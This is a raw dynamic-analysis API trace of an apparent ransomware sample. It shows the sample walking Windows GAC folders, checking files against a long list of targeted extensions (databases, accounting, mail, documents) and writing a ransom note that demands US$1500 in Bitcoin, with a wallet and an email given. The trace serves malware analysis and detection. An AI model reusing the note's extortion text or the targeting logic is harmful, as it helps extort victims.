[0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.aiff") returned 0 [0101.097] lstrlenA (lpString="*.aiff") returned 6 [0101.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.flac") returned 0 [0101.098] lstrlenA (lpString="*.flac") returned 6 [0101.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.m4a") returned 0 [0101.098] lstrlenA (lpString="*.m4a") returned 5 [0101.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.csv") returned 0 [0101.098] lstrlenA (lpString="*.csv") returned 5 [0101.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a9fc10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x59a9fc10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a9fc10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.098] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.098] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a53950, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.098] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.098] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl", cAlternateFileName="POLICY~4.OUT")) returned 1 [0101.099] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.099] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl" [0101.099] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl") returned 80 [0101.099] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.099] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.100] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.100] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\*.*") returned="*.*" [0101.100] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c" [0101.100] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c") returned 107 [0101.100] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.129] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.129] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5969b6f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.129] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.129] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned -1 [0101.129] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned -1 [0101.129] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned -1 [0101.129] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.129] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" [0101.129] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.129] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.129] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.130] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.131] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0101.131] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0101.134] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.134] CloseHandle (hObject=0x90) returned 1 [0101.134] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config" [0101.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.ems") returned 0 [0101.134] lstrlenA (lpString="*.ems") returned 5 [0101.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.db") returned 0 [0101.134] lstrlenA (lpString="*.db") returned 4 [0101.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.dbf") returned 0 [0101.134] lstrlenA (lpString="*.dbf") returned 5 [0101.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.myox") returned 0 [0101.135] lstrlenA (lpString="*.myox") returned 6 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.myo") returned 0 [0101.135] lstrlenA (lpString="*.myo") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qbw") returned 0 [0101.135] lstrlenA (lpString="*.qbw") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qbb") returned 0 [0101.135] lstrlenA (lpString="*.qbb") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qbm") returned 0 [0101.135] lstrlenA (lpString="*.qbm") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qbo") returned 0 [0101.135] lstrlenA (lpString="*.qbo") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qbx") returned 0 [0101.135] lstrlenA (lpString="*.qbx") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qba") returned 0 [0101.135] lstrlenA (lpString="*.qba") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qby") returned 0 [0101.135] lstrlenA (lpString="*.qby") returned 5 [0101.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qbj") returned 0 [0101.136] lstrlenA (lpString="*.qbj") returned 5 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.ofx") returned 0 [0101.136] lstrlenA (lpString="*.ofx") returned 5 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.qif") returned 0 [0101.136] lstrlenA (lpString="*.qif") returned 5 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mye") returned 0 [0101.136] lstrlenA (lpString="*.mye") returned 5 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mbox") returned 0 [0101.136] lstrlenA (lpString="*.mbox") returned 6 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.eml") returned 0 [0101.136] lstrlenA (lpString="*.eml") returned 5 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.pst") returned 0 [0101.136] lstrlenA (lpString="*.pst") returned 5 [0101.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.ost") returned 0 [0101.136] lstrlenA (lpString="*.ost") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.idx") returned 0 [0101.137] lstrlenA (lpString="*.idx") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.dbx") returned 0 [0101.137] lstrlenA (lpString="*.dbx") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.sql") returned 0 [0101.137] lstrlenA (lpString="*.sql") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mdb") returned 0 [0101.137] lstrlenA (lpString="*.mdb") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.fdb") returned 0 [0101.137] lstrlenA (lpString="*.fdb") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.wab") returned 0 [0101.137] lstrlenA (lpString="*.wab") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.dat") returned 0 [0101.137] lstrlenA (lpString="*.dat") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.txt") returned 0 [0101.137] lstrlenA (lpString="*.txt") returned 5 [0101.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.jpeg") returned 0 [0101.137] lstrlenA (lpString="*.jpeg") returned 6 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.jpg") returned 0 [0101.138] lstrlenA (lpString="*.jpg") returned 5 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.png") returned 0 [0101.138] lstrlenA (lpString="*.png") returned 5 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.php") returned 0 [0101.138] lstrlenA (lpString="*.php") returned 5 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.cs") returned 0 [0101.138] lstrlenA (lpString="*.cs") returned 4 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.cpp") returned 0 [0101.138] lstrlenA (lpString="*.cpp") returned 5 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.rar") returned 0 [0101.138] lstrlenA (lpString="*.rar") returned 5 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.zip") returned 0 [0101.138] lstrlenA (lpString="*.zip") returned 5 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.html") returned 0 [0101.138] lstrlenA (lpString="*.html") returned 6 [0101.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.htm") returned 0 [0101.139] lstrlenA (lpString="*.htm") returned 5 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.xlsx") returned 0 [0101.139] lstrlenA (lpString="*.xlsx") returned 6 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.xls") returned 0 [0101.139] lstrlenA (lpString="*.xls") returned 5 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mp4") returned 0 [0101.139] lstrlenA (lpString="*.mp4") returned 5 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.ppt") returned 0 [0101.139] lstrlenA (lpString="*.ppt") returned 5 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.pptx") returned 0 [0101.139] lstrlenA (lpString="*.pptx") returned 6 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.doc") returned 0 [0101.139] lstrlenA (lpString="*.doc") returned 5 